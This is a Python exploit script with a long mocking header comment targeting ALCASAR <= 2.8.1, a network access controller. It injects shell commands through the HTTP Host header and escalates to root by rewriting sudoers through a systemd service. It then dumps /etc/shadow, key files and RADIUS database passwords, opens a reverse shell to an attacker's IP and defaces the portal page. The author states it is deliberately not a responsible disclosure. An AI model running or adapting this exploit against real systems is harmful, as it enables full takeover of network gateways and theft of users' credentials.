#!/usr/bin/env python # -*- coding: utf-8 -*- # #### # # ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability # # Author: eF # Date : 2014-09-12 # URL : http://www.alcasar.net/ # # This is not a responsible disclosure coz' I have no sense of ethics and I don't give a f*ck. # # db 88 ,ad8888ba, db ad88888ba db 88888888ba # d88b 88 d8"' `"8b d88b d8" "8b d88b 88 "8b # d8'`8b 88 d8' d8'`8b Y8, d8'`8b 88 ,8P # d8' `8b 88 88 d8' `8b `Y8aaaaa, d8' `8b 88aaaaaa8P' # d8YaaaaY8b 88 88 d8YaaaaY8b `"""""8b, d8YaaaaY8b 88""""88' # d8""""""""8b 88 Y8, d8""""""""8b `8b d8""""""""8b 88 `8b # d8' `8b 88 Y8a. .a8P d8' `8b Y8a a8P d8' `8b 88 `8b # d8' `8b 88888888888 `"Y8888Y"' d8' `8b "Y88888P" d8' `8b 88 `8b # # # ALCASAR is a free Network Access Controller which controls the Internet consultation networks. # It authenticates, attributes and protects users' access regardless their connected equipment # (PC, smartphone, game console, etc.). # # I recently released an exploit for ALCASAR 2.8 (ALCASAR <= 2.8 Remote Code Execution Vulnerability Root). # As a reminder, it was a trivial code execution via a unfiltered exec() call: # # $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']); # exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output); # # A few days later, a new version corrects the vulnerability. Or maybe not... # # At first, this is how ALCASAR's developers present the previous vulnerability: # # " A security hole has been discovered on ALCASAR V2.8 (only this version). This vulnerability allows a user " # " connected on the LAN to retrieve a lot of data from the server. The ALCASAR team is testing few security " # " patches. A script that you could run on the active servers will be available on this forum ASAP. At that " # " time, the download version of ALCASAR will be incremented (V2.8.1) " # # ?!? This vulnerability allows a user connected on the LAN to *TOTALLY PWN* the server: # Get a root shell, stop all services, sniff all connections, inject data in users' sessions, sniff passwords, # bypass firewall rules, act as another user, etc. # This is not just a matter of "retrieving a lot of data from the server". # # Not to alert users of real criticality of a vulnerability is a very serious lack of security. # Lying by saying that the vulnerability only affects version 2.8 while it also affects version 2.7 is another # one. # # Now, the patch itself: it tries to correct the vulnerability by filtering the vulnerable input: # # $pattern = filter_var($pattern, FILTER_VALIDATE_URL) == false ? "" : $pattern; # # WTF?! # First, I think that the application no longer works. By default, filter_var() is going to accept an URL # only if its scheme is valid: # # $ php -r 'var_dump(filter_var("www.google.com", FILTER_VALIDATE_URL));' # bool(false) # $ php -r 'var_dump(filter_var("http://www.google.com", FILTER_VALIDATE_URL));' # string(21) "http://www.google.com" # # But... we cannot put http:// in the HTTP host field, the HTTP server won't let us... # Dev, did you try your patch? # Instead, to execute code, it's quite easy to bypass this filtering using "mailto:email@valid.tld;cmd;" # Service down, vulnerability still present: double fail. # # The privilege escalation in the previous exploit was using openssl, to gain reading and writing rights # as root. # # The patch therefore removes openssl in the sudoers file (without changing the legitimate # calls in the PHP code...). So let's use another method: systemctl is still callable via sudo... # # We can create a service with our command and start it as root: # # sudo systemctl link /tmp/pwn3d.service # sudo systemctl start pwn3d.service # # Conclusion: triple fail. # # Wouldn't a "responsable de la sécurité des systèmes d'information d'un grand commandement" need a # little training on secure PHP development? # # On ALCASAR website: # # "The security of the portal has been worked out like a bastion in order to resist to different # kinds of threat" # # LOLZ!!! Remote Root Code Execution does not seem to be part of these "different kinds of threat". # # ALCASAR is not built with security in mind. Apache user can sudo, there is no chroot, no separation, # the PHP code is dreadful, some passwords are unnecessarily stored in plaintext, the function to # generate user password is weak, there are no system updates (kernel is out to date, from Jul 4 2013), # etc. # # Development is not really open either: there is no bugtracker, no trac, no way to see what has been # patched, etc. If the elementary rules of open source development had been met, a user could have # prevented this 2.8.1 patch from being crap. # # #### import sys, os, re, httplib class PWN_Alcasar: def __init__(self, host): self.host = host self.root = False def exec_cmd(self, cmd, output=False): tag = os.urandom(4).encode('hex') cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"') if self.root: cmd = 'sudo %s' % cmd wrapper = 'echo %s;echo %s|base64 -d -w0|sh|base64 -w0' % (tag, cmd.encode('base64').replace('\n','')) wrapper = wrapper.replace(' ', '${IFS}') headers = { 'host' : 'mailto:eF@cosmic.nato;%s;#' % wrapper } c = httplib.HTTPConnection(self.host) c.request('GET', '/index.php', '', headers) r = c.getresponse() data = r.read() c.close() m = re.search(r'%s, (.*)\s' % tag, data) if m: data = m.group(1).decode('base64') if output: print data return data return None def read_file(self, filepath, output=True): return self.exec_cmd('cat "%s"' % filepath, output=output) def read_passwords(self): self.read_file('/root/ALCASAR-passwords.txt') self.read_file('/etc/shadow') self.read_file('/usr/local/etc/digest/key_all') self.read_file('/usr/local/etc/digest/key_admin') self.read_file('/usr/local/etc/digest/key_backup') self.read_file('/usr/local/etc/digest/key_manager') self.read_file('/usr/local/etc/digest/key_only_admin') self.read_file('/usr/local/etc/digest/key_only_backup') self.read_file('/usr/local/etc/digest/key_only_manager') alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False) if alcasar_mysql: m = re.search(r'radiuspwd="(.*)"', alcasar_mysql) if m: radiuspwd = m.group(1) sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\'' self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True) def edit_sudoers(self): service = '[Unit]\n' service += 'Description=Just another ALCASAR lolcalr00t\n\n' service += '[Service]\n' service += 'Type=forking\n' service += 'KillMode=process\n' service += 'ExecStart=/bin/sh -c "sed -i s/BL,NF/BL,ALL,NF/g /etc/sudoers"\n' self.exec_cmd('echo %s | openssl base64 -d -out /tmp/Pwn3d.service -A' % service.encode('base64').replace('\n', '')) self.exec_cmd('sudo systemctl link /tmp/Pwn3d.service') self.exec_cmd('sudo systemctl start Pwn3d.service') if exploit.exec_cmd('sudo id').find('uid=0') != -1: self.root = True def reverse_shell(self, rip, rport='80'): payload = 'import socket,subprocess,os;' payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' payload += 's.connect((\'%s\',%s));' % (rip, rport) payload += 'os.dup2(s.fileno(),0);' payload += 'os.dup2(s.fileno(),1);' payload += 'os.dup2(s.fileno(),2);' payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);' return self.exec_cmd('python -c "%s"' % payload) def lolz(self): old = 'http://www.wikipedia.org' new = 'https://www.youtube.com/watch\?v=Q-J0f1yF75Y' self.exec_cmd('sed -i s,%s,%s,g /var/www/html/index.php' % (old, new), True) def usage(): print 'Usage: %s host command (ip) (port)' % sys.argv[0] print ' "command" can be a shell command or "reverseshell"' sys.exit(0) if __name__ == '__main__': print '#' * 80 print '# ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability' print '# Author: eF' print '#' * 80 if len(sys.argv) < 3: usage() cmd = sys.argv[2] if cmd == 'reverseshell': if len(sys.argv) < 5: print '[!] Need IP and port for the reverse shell...' sys.exit(0) rip = sys.argv[3] rport = sys.argv[4] exploit = PWN_Alcasar(sys.argv[1]) print '[-] whoami (should be apache):' exploit.exec_cmd('id', output=True) print '[+] On the way to the uid 0...' exploit.edit_sudoers() print '[-] Got root?' exploit.exec_cmd('id', output=True) exploit.lolz() if exploit.root: print '[+] Here are some passwords for you (again):' exploit.read_passwords() if cmd == 'reverseshell': print '[+] You should now have a shell on %s:%s' % (rip, rport) exploit.reverse_shell(rip, rport) else: print '[+] Your command Sir:' exploit.exec_cmd(cmd, output=True) sys.exit(1)